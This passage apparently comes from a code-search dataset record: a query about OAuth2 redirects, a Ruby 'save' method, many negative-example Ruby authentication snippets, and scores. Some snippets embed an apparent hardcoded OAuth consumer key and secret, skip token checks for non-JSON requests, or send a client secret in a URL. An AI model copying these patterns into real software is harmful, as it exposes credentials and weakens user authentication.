auth\n else\n @credentials = {:username => auth[:username], :password => auth[:password]}\n end\n end", "def add_credentials!\n @accessor.auth_manager.add_credentials(self)\n end", "def authenticate_user!\n redirect_to '/auth/sweetsuite' unless access_token && current_user\n end", "def authenticate_user_from_token2!\n puts request.format\n return true if request.format != \"application/json\"\n log_headers\n\n authenticate_or_request_with_http_token do |token, options|\n puts \"#\"*40\n # User.find_by(auth_token: token)\n user = token && User.find_by_authentication_token(token.to_s)\n # puts user.to_yaml\n if user\n sign_in user, store: false\n end\n user\n end\n\n # Notice how we use Devise.secure_compare to compare the token\n # in the database with the token given in the params, mitigating\n # timing attacks.\n end", "def set_user_session\n session[:access_token] = user_credentials.access_token\n session[:refresh_token] = user_credentials.refresh_token\n session[:expires_in] = user_credentials.expires_in\n session[:issued_at] = user_credentials.issued_at\nend", "def setup_token_credentials\n config_key = credential_config_key\n\n if config(\"#{config_key}.token\")\n $stderr.puts \"Token credentials already configured for API Provider #{api_url}\"\n unless yes?('Would you like to reconfigure the token for this provider?')\n $stderr.puts 'Nothing to do.'\n exit 1\n end\n end\n\n token_request_body = {:scopes => %w(repo user gist), :note => \"General oauth\"}\n\n username, _, response = _auth_loop_request(\"#{api_url}/authorizations\") do |url|\n Net::HTTP::Get.new(url.path).tap {|request|\n request.body = JSON.generate(token_request_body)\n }\n end\n\n case response\n when Net::HTTPOK\n token = JSON.parse(response.body).first['token']\n $stdout.puts \"Storing token credentials for API Provider #{api_url} with key #{config_key}\"\n store_config_credentials(username, :token => token)\n else\n $stderr.puts \"Failed to acquire token: #{response.code}: #{response.message}\"\n end\n nil\n end", "def user_connect_to_twitter(user)\n access = nil\n if user.twitter_token\n user_credentials = @t_credentials.clone # Keep consumer token\n # but override with user's access token\n user_credentials[:access_token] = user.twitter_token\n user_credentials[:access_token_secret] = user.twitter_secret\n# puts \"Using this token for #{user.ublog_name}: #{user_credentials[:access_token]}/#{user_credentials[:access_token_secret]}\"\n begin\n access = TwitterAPI::Access.new(user_credentials)\n rescue StandardError, Timeout::Error\n puts \"Failed to access Twitter for user #{user.ublog_name}:\\n\" + $!\n # Didn't expect this. User needs to get new token sometime.\n end\n end\n access\n end", "def authenticate_with(identity, next_service, username); end", "def after_successful_token_authentication\n @user = current_user\n end", "def authenticate\n if user_has_session_cookie? and user_in_database?\n Thread.current['uid'] = session[:uid]\n else\n unless authentication_in_progress?\n redirect '/auth/google_oauth2', 303\n end\n end\n end", "def authenticate_user!\n return true if current_user\n # get token and options\n authenticate_or_request_with_http_token do |token, options|\n access_token = AccountAccessToken.where('token_value = ? AND expires > ?', token, Date.today).first\n if access_token\n sign_in access_token.account\n else\n unauthenticated!\n end\n end\n end", "def refresh_single_use_oauth2_token!\n assign_single_use_oauth2_token\n save!\n end", "def auth_as_user(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\nend", "def auth_http(info = @config[\"login/\"])\n # parse parameters\n case info\n when String\n # If the parameter is given by a string,\n # It is treated as the user name\n user = info\n reload = false\n browser = false\n when Hash\n user = info.fetch(:user, @config[\"login/\"])\n reload = info.fetch(:reload, false)\n browser = info.fetch(:browser, false)\n else\n errmsg = \"A String (user name) or Hash (parameters) is required as the argument (#{info.class} given)\"\n if info == nil\n errmsg << \"\\n* Perhaps you have not finished authentication. Try '#{$0} init' to register the default user.\"\n end\n raise ArgumentError, errmsg\n end\n \n # creates an instance of AccessToken\n user_key = \"users/#{user}\"\n @config[user_key] ||= {}\n \n if reload || !(user_registered?(user))\n # if token is not stored, or the library user choosed not to use stored token,\n # retrieves it with xAuth or browser\n if browser\n # with browser\n access_token = TwBot.access_token_via_browser(user)\n else\n # with xAuth\n # \n # Note:\n # TwBot is not allowed to use xAuth for now.\n # \"TwBot.access_token_via_xauth\" will always return HTTP 401 error.\n # (2010-04-30)\n unless @config[user_key][\"password\"]\n if user == @config[\"login/\"]\n @config[user_key][\"password\"] = @config[\"password/\"]\n else\n raise IncompleteConfigError, \"Password for user \\\"#{user}\\\" is not specified.\"\n end\n end\n \n access_token = TwBot.access_token_via_xauth(user, @config[user_key][\"password\"])\n end\n \n return nil if access_token == nil\n \n # Store the result to @config\n @config[user_key][\"token\"] = access_token.token\n @config[user_key][\"secret\"] = access_token.secret\n \n # return the access token\n access_token\n else\n # if token is stored, creates access token with it\n OAuth::AccessToken.new(@@consumer, @config[user_key][\"token\"], @config[user_key][\"secret\"])\n end\n end", "def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end", "def execute\n errors.add(:user, 'authentication failed!') unless logging_user.update(access_token: SecureRandom.hex(6))\n logging_user\n end", "def from_access_token\n data = @client.info()\n self.current_user = data unless (data.has_key?('error'))\n end", "def bind_with_oauth\n if u = User.find_by_email(params[:user][:email])\n flash[:alert] = I18n.t 'devise.oauth_services.user.email_has_been_token'\n redirect_to new_oauth_user_registration_path and return\n end \n u = build_resource permitted_params.merge(name: session[:oauth].info.name, password: SecureRandom.hex )\n\n u.bypass_humanizer = true\n if u.save\n u.apply_oauth session[:oauth]\n flash[:notice] = I18n.t 'devise.omniauth_callbacks.success', kind: (I18n.t \"devise.oauth_services.providers.#{session[:oauth].provider}\") if session[:oauth].present?\n sign_in_and_redirect @user, :event => :authentication\n else\n flash[:alert] = I18n.t 'devise.oauth_services.user.failure'\n redirect_to new_oauth_user_registration_path\n end\n end", "def use_oauth2_token(&block)\n @oauth2 = OAuth2Params.new\n @oauth2.instance_eval(&block)\n end", "def auth_user(user)\n RequestStore[:current_user] = user\n # https://github.com/department-of-veterans-affairs/caseflow/wiki/Debugging-Tips#authenticating-in-the-rails-console\n User.authentication_service.user_session = User.authentication_service.get_user_session(user.id)\nend", "def authenticate_user_from_token!\n raise AuthorizationError unless http_auth_token.present?\n result = find_user\n raise BadRequestError, result.errors if result.failure?\n @current_user = result.current_user\n end", "def callback\n\t\tself.twitagent.exchange_request_for_access_token( session[:request_token], session[:request_token_secret], params[:oauth_verifier] )\n\t\t\n\t\tuser_info = self.twitagent.verify_credentials\n\t\t\n\t\t#raise OauthSystem::RequestError unless user_info['id'] && user_info['screen_name'] && user_info['profile_image_url']\n\t\t\n\t\t# We have an authorized user, save the information to the database.\n\t\t@user = User.find_by_screen_name(user_info['screen_name'])\n\t\tif @user\n\t\t\t@user.token = self.twitagent.access_token.token\n\t\t\t@user.secret = self.twitagent.access_token.secret\n\t\t\t@user.profile_image_url = user_info['profile_image_url']\n\t\telse\n\t\t\t@user= User.new({ \n\t\t\t\t:twitter_id => user_info['id'],\n\t\t\t\t:screen_name => user_info['screen_name'],\n\t\t\t\t:token => self.twitagent.access_token.token,\n\t\t\t\t:secret => self.twitagent.access_token.secret,\n\t\t\t\t:profile_image_url => user_info['profile_image_url'] })\n\t\tend\n\t\tif @user.save!\n\t\t\tself.current_user = @user\n\t\telse\n\t\t\traise OauthSystem::RequestError\n\t\tend\n\t\t# Redirect to the show page\n\t\tredirect_to user_path(@user)\n\t\t\n\trescue\n\t\t# The user might have rejected this application. Or there was some other error during the request.\n\t\tRAILS_DEFAULT_LOGGER.error \"Failed to get user info via OAuth\"\n\t\tflash[:error] = \"Twitter API failure (account login)\"\n\t\tredirect_to root_url\n\tend", "def default_oauth_callback(&on_fail)\n auth = request.env['omniauth.auth']\n\n @user = User.send(\"find_for_#{auth.provider.to_s}_oauth\", auth, current_user)\n unless @user.persisted?\n # save oauth data if user creation failed\n session[\"devise.#{auth.provider.to_s}_data\"] = auth.except(:extra)\n end\n auth.fail_redirect ||= new_user_registration_path\n\n unless handle_oauth_login\n if on_fail\n yield auth\n else\n default_oauth_fail\n end\n end\n end", "def credentials(authorization, request); end", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n user = User.find_by(access_token: auth_token)\n\n fail AccessDenied unless user\n\n @current_user = user\n end", "def authenticate\n authenticate_or_request_with_http_token do |token _options|\n @current_user = User.find_by token: token\n end\n end", "def current_user_with_oauth\n current_user_without_oauth || current_oauth_user\n end", "def init_oauth_access_token\n @oauth_access_token = OAuth2::AccessToken.new(\n User.new_oauth_client,\n read_attribute(:access_token),\n {\n :refresh_token => read_attribute(:refresh_token),\n :expires_at => read_attribute(:access_token_expires_at)\n }\n )\n end", "def twitter_user\n @twitter_user ||= prepare_access_token(self.token, self.secret)\n end", "def step2\n initialize_vars\n url = \"#{@oauth_vars[:token_url]}?code=#{params[:code]}&grant_type=authorization_code&client_id=#{@oauth_vars[:client_id]}&client_secret=#{@oauth_vars[:client_secret]}&response_type=code&redirect_uri=#{@redirect_uri}\"\n rep = JSON.parse(get_json_from_https(url))\n session[:access_token] = rep[\"access_token\"]\n\n do_API_call\n end", "def authenticate_scope!\r\n send(:\"authenticate_user!\", :force => true)\r\n self.resource = send(:\"current_user\")\r\n end", "def set_user\n @user = User.find_by(oauth_id: params[:id])\n end", "def oauth_login\n @login_handler =\n ProviderLogin.from_provider(\n params[:provider], params[:auth_token], params[:auth_token_secret]\n )\n\n if @login_handler.save\n expose @login_handler.user, serializer: CompactUserSerializer\n else\n error! :invalid_resource, @login_handler.user.errors,\n metadata: {\n error_description: \"An error occured when creating a user.\"\n }\n end\n end", "def update_tokens(oauth_params)\n# binding.pry\n self.oauth_token = oauth_params.credentials.token\n # facebook, google provide this; twitter, linkedin don't\n self.oauth_expires_at = Time.at(oauth_params.credentials.expires_at) if oauth_params.credentials.expires_at\n # twitter\n self.oauth_secret = oauth_params.credentials.secret if oauth_params.credentials.secret\n end", "def twitter_oauth(access_token)\n user_info = access_token.extra.raw_info\n external_user_id = user_info.id\n email = \"#{user_info.screen_name}@twitter.com\"\n account = self.by_twitter_id(external_user_id).first || self.by_twitter_email(email).first\n if account.blank?\n account = self.new\n account.email = email\n account.provider = Provider::TWITTER\n account.external_user_id = user_info.id\n account.skip_confirmation!\n if user_info.name\n first_name, last_name = user_info.name.split\n account.build_profile :first_name => first_name, :last_name => last_name\n end\n account.save\n end\n account\n end", "def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end", "def authenticate\n authenticate_or_request_with_http_token do |token, _options|\n @current_user = User.find_by token: token\n end\n end", "def authenticate_with(identity, next_service, username, key_manager); end", "def oauth\n login_at(auth_params[:provider])\n end", "def oauth\n login_at(auth_params[:provider])\n end", "def authorize_code(authorization_code)\n api_client.authorization.code = authorization_code\n api_client.authorization.fetch_access_token!\n\n result = api_client.execute!(:api_method => settings.oauth2.userinfo.get)\n user = User.first_or_create(:email => result.data.email)\n api_client.authorization.refresh_token = (api_client.authorization.refresh_token || user.refresh_token)\n if user.refresh_token != api_client.authorization.refresh_token\n user.refresh_token = api_client.authorization.refresh_token\n user.save\n end\n session[:user_id] = user.id\nend", "def on_new_oauth!(oauth_response)\n authentications.new(\n \"uid\" => oauth_response[\"uid\"],\n \"provider\" => oauth_response[\"provider\"]\n )\n self\n end", "def authorize_switch_user\n authenticate_user!\n if params[:response_type].nil?\n params[:response_type] = \"code\"\n end\n @authorizer = OAuth::Provider::Authorizer.new current_user, true, params\n render :text => @authorizer.redirect_uri\n end", "def set_http_token_user(user, token_code = nil)\n if user.nil?\n request.env.delete 'HTTP_AUTHORIZATION'\n return self\n end\n\n credential = Tokens::Api.where(user_id: user.id).first\n credential ||= Tokens::Api.random_for(user)\n unless token_code.nil?\n credential.code = token_code\n credential.save!\n end\n\n request.env['HTTP_AUTHORIZATION'] = \"Token #{credential.code}\"\n self\n end", "def auth\r\n OAuth2\r\n end", "def password_auth(opts={})\n url = URI.join(@auth_site, @token_url).to_s\n body = {client_id: @client_id,\n client_secret: @client_secret,\n email: @email,\n password: @password,\n scope: \"read write share\",\n grant_type: \"password\"}.merge(opts)\n\n #ITout.logger.info(\"ITout::OAuth post-ing #{url} with params #{{body: body, headers: headers}}\")\n response = HTTParty.send(:post, url, body: body, headers: headers)\n #ITout.logger.debug(\"ITout::OAuth #{url} response: #{response.code} #{response.body}\")\n\n if response.code == 200 and JSON.parse(response.body)[\"access_token\"] != nil\n @access_token = JSON.parse(response.body)[\"access_token\"]\n else\n raise \"Client failed to get an auth token, response was: \" + response.body\n end\n end", "def userauth_request(username, next_service, auth_method, *others); end", "def set_oauth_account\n @oauth_account = OauthAccount.find(params[:id])\n end", "def refresh_oauth2_token!\n ensure_oauth2_token(true)\n save!\n end", "def login_required\n if session[:user_id]\n @user ||= User.find(session[:user_id])\n @access_token ||= OAuth::AccessToken.new(get_consumer, @user.oauth_token, @user.oauth_secret)\n else\n redirect_to :controller => 'session', :action => 'new'\n end\n end", "def on_simple_outbound\r\n {\"userCredentials\" => {\"accessToken\" => ACCESS_TOKEN}}\r\n end", "def on_simple_outbound\r\n {\"userCredentials\" => {\"accessToken\" => ACCESS_TOKEN}}\r\n end", "def fetch_details_from_dropbox_oauth2\n\t\t# To Do\n\t\tself.user.has_dropbox = true\n\t\tself.user.save\n\tend", "def store_token\n token = auth_response[\"login\"] ? user_defined_token : auth_response[\"token\"]\n if token\n user_config.set :github_user, username\n user_config.set :github_token, token\n cli.say \"Successfully stored GitHub API token.\"\n else\n raise GitHub::BadCredentials, \"Uh oh, your access token couldn't be generated/verified. Please check your credentials and try again.\"\n end\n end", "def callback\n access_token = client.web_server.get_access_token(params[:code], :redirect_uri => oauth_callback_url)\n \n current_user.update_attribute(:oauth2_token, access_token.token)\n flash[:notice] = \"Authorized successfully!\"\n \n redirect_to root_url\n end", "def login_request\n #TODO validate incoming parameters\n client_user = User.new params.require(:user).permit(\n :user,\n :external_id,\n :name,\n :email,\n :access_token,\n :profile_pictures)\n client_user.password = \"1\"\n\n # This is to spam calls to api which will cause unwanted entries into database \n\n existing_user = User.find_by(external_id: client_user.external_id)\n if existing_user.blank?\n client_user.save\n else\n # WHY IS THIS REQUIRED?\n existing_user.name = client_user.name\n\n # NO POINT SAVING THIS TOKEN - this is short lived.\n existing_user.access_token = client_user.access_token\n existing_user.email = client_user.email\n #existing_user.profile_pictures = client_user.profile_pictures\n existing_user.save\n end\n log_in(client_user)\n render :nothing => true\n end", "def add_oauth(req)\n @consumer.sign!(req, @access_token)\nend", "def add_oauth2_header\n user = create_user\n get users_path(format: :json), headers: { \"HTTP_AUTHORIZATION\" => \"OAuth #{Base64.encode64(\"#{user.email}:12345678\")}\" }\n end", "def oauth\n Auth.new(params[:uid], params[:oauth_token], action_name)\n end", "def call\n fetch_user_from_auth_token\n end", "def use_oauth\n\t\t\t\n\t\tend", "def refresh_credentials\n if credentials_stale?\n authorization_data = ecr_client.get_authorization_token.authorization_data.first\n\n self.credentials_expire_at = authorization_data.expires_at || raise(\"NO EXPIRE FOUND\")\n user, pass = Base64.decode64(authorization_data.authorization_token).split(\":\", 2)\n ENV['DOCKER_REGISTRY_USER'] = user\n ENV['DOCKER_REGISTRY_PASS'] = pass\n end\n rescue Aws::ECR::Errors::InvalidSignatureException\n raise Samson::Hooks::UserError, \"Invalid AWS credentials\"\n end", "def authenticate_user!\n payload = decode_token\n return unless payload.is_a? Hash\n\n @current_user = User.find payload[:user_id]\n end", "def sign_in_with_credentials(username, password, params = {}, options = {})\n params = {\n 'grant_type' => 'password',\n 'username' => username,\n 'password' => password\n }.merge(oauth_client_params).merge(params)\n\n @access_token = get_token(params, options)\n end", "def exchange!(params={})\n\t\tOauthToken.transaction do\n\t\t\ttoken = Oauth2Token.create! user: user,client_application: client_application, scope: scope\n\t\t\tinvalidate!\n\t\t\ttoken\n\t\tend\n\tend", "def after_auth(user)\n # Push the avatar (Just in case any clients support it)\n # AvatarUpdaterService.new(user).update\n\n # Set rooms, groups, etc.\n UserService.update(user).save\n\n # We're done here\n sign_in_and_redirect user\n end", "def authorize(auth = {})\n auth[:login] = auth[:login] || auth[:username]\n raise TaskMapper::Exception.new('Please provide at least a username') if auth[:login].blank?\n provider.login = auth[:login]\n provider.user_token = auth[:password] || auth[:oauth_token]\n provider.api = new_github_client auth\n end", "def credentials_or_external_user(creds)\n if external_user?\n auth_options\n else\n creds\n end\n end", "def authenticate!\n redirect \"https://github.com/login/oauth/authorize?scope=user:email,read:org&client_id=#{CLIENT_ID}\"\nend", "def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n client_id = request.headers['Client-ID']\n\n if auth_token\n authenticate_with_auth_token(auth_token, client_id)\n else\n authentication_error\n end\n end", "def set_current_user\n current_user\n authorize\n end", "def finish_oauth\n\tRails.logger.warn 'here'\n\n @consumer = OAuth::Consumer.new('l9tUlXD0IOoGhC9HnDJBA', '9YZWGkxQJgieQ3Ta89mPE4xpXXhryEbRD9GS0WAt4',{:site=>\"http://twitter.com\" })\n @req_token = OAuth::RequestToken.new(@consumer,session[:request_token],session[:request_token_secret])\n \n # Request user access info from Twitter\n @access_token = @req_token.get_access_token\n\n # Store the OAuth info for the user\n #@user = {}\n #@user.update_attributes(:token=>@access_token.token,:token_secret=>@access_token.secret)\n Rails.logger.warn \"Second Request #{@access_token.params['user_id']}\"\n # Send the user on their way\n session[:tokens] ={:token=>@access_token.token, :token_secret=>@access_token.secret}\n session[:id] = @access_token.params['user_id']\n redirect_to '/'\nend", "def store_oauth2_credentials!(attributes = {})\n self.send(:\"#{self.class.oauth2_uid_field}=\", attributes[:uid])\n self.send(:\"#{self.class.oauth2_token_field}=\", attributes[:token])\n\n # Confirm without e-mail - if confirmable module is loaded.\n self.skip_confirmation! if self.respond_to?(:skip_confirmation!)\n\n # Only populate +email+ field if it's available (e.g. if +authenticable+ module is used).\n self.email = attributes[:email] || '' if self.respond_to?(:email)\n\n # Lazy hack: These database fields are required if +authenticable+/+confirmable+\n # module(s) is used. Could be avoided with :null => true for authenticatable\n # migration, but keeping this to avoid unnecessary problems.\n self.password_salt = '' if self.respond_to?(:password_salt)\n self.encrypted_password = '' if self.respond_to?(:encrypted_password)\n end", "def authenticate_token\n authenticate_with_http_token do |token, options|\n @current_user = User.find_by(token: token)\n @current_user\n end\n end", "def recognize_user\n rack_response = oauth2_authorizer.call(request.env)\n redirect_to rack_response.last.header['Location']\n end", "def rack_oauth!(name)\n oauth_instance(name).get_access_token!(oauth_request_env)\n end", "def authenticate_request!\n return render_unauthorized unless request.headers['Authorization'].present?\n\n @token ||= AuthenticateRequest.get(User, request.headers['Authorization'].split(' ').last)\n @current_user = @token[:user]\n end", "def credentials_for(uri, realm); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def credentials=(_arg0); end", "def set_current_user_for_auth\n Authorization.current_user = current_user\n end", "def authorize(req_token, given_num)\n # Clean up tokens\n #clean_tokens()\n begin\n rows = @db.execute(\"SELECT * FROM request_tokens WHERE request_token=?\", req_token)\n rescue\n puts \"Failed to find request token: #{$!}\"\n return false\n end\n req_secret = rows[0][2]\n begin\n puts \"Authorizing #{req_token} #{req_secret} #{given_num}\"\n @oauth.authorize_from_request(req_token, req_secret, given_num)\n rescue\n puts \"Failed to authorize user #{$!}\"\n return false\n end\n # If it works, save off the data.\n puts \"OMFG it works.\"\n acct = Twitter::Base.new(@oauth)\n begin\n profile = acct.verify_credentials\n @db.execute( \"INSERT INTO users VALUES (NULL,?,?,?,?)\",\n profile.name, given_num, @oauth.access_token.token, @oauth.access_token.secret)\n rescue Exception => e\n if e.class == SQLite3::SQLException \n # We already have this user!\n puts \"User #{profile.name} already has credentials\"\n else\n puts \"Failed to insert user #{profile.name}: #{$!}, #{e.class}\"\n return false\n end\n end\n acct\n end", "def set_current_user\n users = User.where(api_key: api_key_param)\n render json: {error: \"Wrong credentials\"}, status: 403 unless users.count > 0\n @user = users.first\n end", "def auth_userpass(auth, opts)\n validate_auth(auth, %i[user pass])\n path = \"auth/userpass/login/#{auth[:user]}\"\n uri = get_uri(opts, path)\n data = { \"password\" => auth[:pass] }.to_json\n\n request(:Post, uri, opts, data: data)['auth']['client_token']\n end", "def authorise!\n begin\n response = Birdman::Requester.post(\"oauth/token\", {}, {\n :client_id => \"#{client_id}\",\n :client_secret => \"#{client_secret}\",\n :grant_type => \"client_credentials\"\n })\n self.access_token = response.access_token\n true\n rescue Birdman::Exception::Api\n self.access_token = nil\n false\n end\n end", "def authenticate(user, password)\n @token = handle(:auth, 'generate_token', [user, password])\n @user, @password = user, password\n @connection.refresh_metadata(token: @token)\n end", "def create_non_admin_user_authenticate\n post '/users', 'username' => 'testuser', 'password' => 'testpassword', 'email_address' => 'test@toto.com'\n id_user = last_response.json_body['id']\n digest_authorize 'testuser', 'testpassword'\n id_user\nend", "def init\n init_oauth_access_token\n end", "def when_auth &block # :yields: abs_url, realm\n @get_auth_details = block\n end", "def create\n oauth_verifier = params[:oauth_verifier]\n\n if oauth_verifier\n request_token = session[:tumblr_request_token]\n access_token = request_token.get_access_token(\n :oauth_verifier => oauth_verifier) \n\n self.current_user.tumblr_access_token = access_token.token\n self.current_user.tumblr_access_token_secret = access_token.secret\n\n self.current_user.save!\n end\n\n rescue => ex\n handle_exception(ex)\n end" ]
[ "0.684971", "0.65093267", "0.6445627", "0.64448303", "0.6413494", "0.6363131", "0.6315507", "0.6294397", "0.62212", "0.61550844", "0.613821", "0.61273164", "0.6114561", "0.6109969", "0.60980326", "0.6095028", "0.6078739", "0.6074399", "0.60697454", "0.60691226", "0.60673696", "0.6063927", "0.6050422", "0.6031137", "0.6020102", "0.5998423", "0.5997802", "0.59959316", "0.5988695", "0.5987375", "0.59807473", "0.5977511", "0.5966069", "0.5953155", "0.59308153", "0.5924973", "0.59052354", "0.5887879", "0.5882205", "0.5870748", "0.5866217", "0.5858252", "0.5853224", "0.58493674", "0.5823411", "0.5822345", "0.5821866", "0.5821866", "0.5789481", "0.5787128", "0.57822984", "0.5775741", "0.57713926", "0.57606995", "0.5748736", "0.5746579", "0.57417935", "0.57366216", "0.5734426", "0.5734426", "0.5729985", "0.5727833", "0.57249683", "0.5723479", "0.571269", "0.5709732", "0.57000315", "0.5699863", "0.5698335", "0.5697381", "0.56791735", "0.5677673", "0.5674959", "0.5672678", "0.56714", "0.56670296", "0.5664244", "0.56615007", "0.5661065", "0.5638537", "0.5637947", "0.56345874", "0.56263965", "0.5623821", "0.5618864", "0.56110734", "0.5608713", "0.5608713", "0.5608713", "0.5608713", "0.5608713", "0.5606849", "0.5605908", "0.5603044", "0.55976397", "0.5596332", "0.5593084", "0.5589966", "0.55880946", "0.5585351", "0.5584398" ]
0.0
-1
Clears out the block if we are authenticating with oauth2, so that we can redirect without a DoubleRender error.
def save(&block) block = nil if redirecting_to_oauth2_server? super(&block) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failure_redirect(message: error)\n end", "def without_redirect(&block)\n if block_given?\n @agent.redirect_ok = false\n yield\n @agent.redirect_ok = true\n end\n end", "def disconnect_oauth\n return unless !id_changed? && encrypted_password_changed? && oauth_user?\n authentications.destroy_all\n end", "def reset_oauth2_client!\n @oauth2_client = nil\n end", "def allow_double_render\n self.instance_variable_set(:@_response_body, nil)\n end", "def oauth\n\t\tdropbox = DropboxConnection.new\n\t\n\t\tif params[:not_approved] == 'true'\n\t\t\tredirect_to dropbox_path, flash: { error: 'You just cancelled, didn\\'t you?' }\n\t\telse\n\t\t\t# the user has returned from Dropbox so save the session and go away\n\t\t\tdropbox.authorized\n\t\t\tredirect_to :root\n\t\tend\n\tend", "def unauthorized_request\n Rails.logger.debug \"------ 'Unauthorized' response from resource server ------\"\n\n authorize_path = @organization.authorization_server.authorize_path(callback_url)\n Rails.logger.debug \"------ Redirecting to: #{authorize_path} ------\"\n redirect_to authorize_path\n end", "def revoke_oauth\n provider = params[:provider].to_s.to_sym\n if resource.oauth_count == 1 and resource.is_email_fake\n flash.alert = t(:cannot_revoke_oauth_while_email_is_fake)\n else\n if resource_class.omniauth_providers.include?(provider) and resource.has_oauth?(provider)\n resource.revoke_oauth provider\n end\n end\n render nothing: true\n end", "def access_denied\n store_location\n redirect_to root_path(:target => request.request_uri)\n #respond_to do |format|\n # format.json do\n # render :partial => \"json/response\",\n # :locals => {\n # :success => false,\n # :message => \"Authorization Required\",\n # :body => nil}\n # end\n # format.html do \n # redirect_to root_path#(:after_login => request.request_uri)\n # end\n #end\n end", "def on_unauthorized_request\n if block_given? && !authorized?\n @response = yield\n end\n end", "def rescue_api_error\n session.delete(:access_token)\n\t session.delete(:individual_user_id)\n\t oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, AUTH_CALLBACK)\n\t redirect_to(:action => \"exit_portal\", :url => oauth.url_for_oauth_code)\n end", "def without_access_control\n previous_state = Authorization.ignore_access_control\n Authorization.ignore_access_control(true)\n result = yield\n ensure\n Authorization.ignore_access_control(previous_state)\n result\n end", "def use_oauth\n\t\t\t\n\t\tend", "def remove_oauth_credentials\n self.oauth_token = nil\n self.oauth_secret = nil\n self.oauth_expires_at = nil\n end", "def block_unauthenticated_user!\n unless current_user\n return render_unauthorized\n end\n end", "def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end", "def clear_client_and_redirect_url\n\t session.delete('omniauth.state')\n\t if is_json_request?\n\t \tsession.delete(\"client\")\n\t \tsession.delete(\"redirect_url\")\n\t end\n\tend", "def abandon!\n authentication.abandon!\n end", "def handle_unverified_request\n super\n sign_out\n end", "def _around_rodauth(&block)\n result = nil\n\n rails_controller_rescue do\n rails_controller_callbacks do\n result = catch(:halt) { super(&block) }\n end\n end\n\n if rails_controller_instance.performed?\n rails_controller_response\n elsif result\n result[1].merge!(rails_controller_instance.response.headers)\n throw :halt, result\n else\n result\n end\n end", "def force_auth\n\t\tlogger.debug \" Callback: force_auth\"\n\t\tsession[:last_ts] = nil\n\t\tCASClient::Frameworks::Rails::Filter.filter self unless @current_user\n\tend", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n\t\t\tsign_out\n\t\t\tsuper\n\t\tend", "def unauthenticated\n end", "def authorize_for_none\n # Clear all authorizations and create an allow-all entry\n ContentAuthorization.transaction do\n update_privacy_level(ContentAuthorization::AuthInvisible)\n clear_accessors\n end\n end", "def oauth_required\n head oauth.no_access! unless oauth.authenticated?\n end", "def clear_auth_count\n @auth_count = 0\n end", "def silence_omniauth\n previous_logger = OmniAuth.config.logger\n OmniAuth.config.logger = Logger.new(\"/dev/null\")\n yield\n ensure\n OmniAuth.config.logger = previous_logger\n end", "def handle_unverified_request\n reset_session\n render :nothing => true, :status => 401\n end", "def disable_authorization_checks\n saved = $authorization_checks_disabled\n $authorization_checks_disabled = true\n yield\n ensure\n $authorization_checks_disabled = saved\n end", "def handle_unverified_request\n\t\tsign_out\n\t\tsuper\n\tend", "def handle_unverified_request\n\t\tsign_out\n\t\tsuper\n\tend", "def handle_unverified_request\n\t\tsign_out\n\t\tsuper\n\tend", "def handle_unverified_request\n sign_out\n super\n end", "def reset\n session.delete(:access_token)\n session.delete(:refresh_token)\n redirect('/auth/foursquare')\n end", "def authenticate_request\n @current_user = nil\n end", "def access_forbidden\n if !@authenticated.nil?\n send_response_document :forbidden\n else\n flash.keep\n authentication_needed!\n end\n end", "def disconnect\n request_user.offline! if request_valid?\n render :nothing => true\n end", "def block!\n self.blocked = Time.now\n self.save\n Token.block_access!(client_uri, resource_owner_uri)\n Authorization.block_access!(client_uri, resource_owner_uri)\n end", "def access_denied!\n render partial: 'errors/401', status: 401 && return\n end", "def handle_unverified_request\n \tsign_out\n \tsuper\n end", "def handle_unverified_request\n \tsign_out\n \tsuper\n end", "def handle_unverified_request\n \tsign_out\n \tsuper\n end", "def handle_unverified_request\n \tsign_out\n \tsuper\n end", "def handle_unverified_request\n \tsign_out\n \tsuper\n end", "def handle_unverified_request\n \tsign_out\n \tsuper\n end", "def github_unauthenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n not warden.authenticated?(scope: scope)\n end\n end", "def access_denied\n clear_session\n respond_to do |format|\n format.html { redirect_to login_path and return false }\n format.xml do\n headers['Status'] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n render :text =>'Unauthorized', :status=>401\n end\n end\n end", "def sign_out\n @logout = true\n authenticate_api_user\n @logout = false\n revoke_access if @current_user\n head :no_content\n end", "def reset_provider_session!\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n return unless @provider_session\n @provider_session.token = nil\n @provider_session.code = nil\n @provider_session.data = nil\n @provider_session = nil\n end", "def authenticate_or_token\n return if prevent_call_sign_screen\n check_for_authenticate\n redir_if_signed\n end", "def handle_unverified_request\n logout()\n flash_message(:alert, \"An unverified request was received! For security reasons you have been signed out. ApplicationController#handle_unverified_request\")\n super\n end", "def redirect_after_logout &blk\n self.lwt_authentication_system_options[:redirect_after_logout] = blk\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def 